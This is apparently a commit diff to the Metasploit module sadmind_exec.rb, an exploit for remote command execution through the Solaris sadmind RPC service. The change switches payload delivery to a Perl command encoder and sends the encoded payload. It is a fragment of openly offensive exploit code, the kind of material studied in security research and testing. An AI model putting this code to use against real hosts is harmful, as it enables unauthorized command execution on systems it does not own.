Use perl encoding

Author: jvazquez-r7

modules/exploits/solaris/sunrpc/sadmind_exec.rb

@@ -35,9 +35,10 @@ def initialize(info = {})
       'Arch'           => ARCH_CMD,
       'Payload'        =>
         {
-          'Space'    => 2000,
-          'BadChars' => "\x00",
+          'Space'       => 2000,
+          'BadChars'    => "\x00",
           'DisableNops' => true,
+          'EncoderType' => Msf::Encoder::Type::CmdUnixPerl,
           'Compat'      =>
             {
               'PayloadType' => 'cmd',
@@ -84,7 +85,7 @@ def exploit
     end
 
     sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
-    response = sadmind_request(hostname, payload.raw)
+    response = sadmind_request(hostname, payload.encoded)
     sunrpc_destroy
 
     if /Security exception on host/.match(response)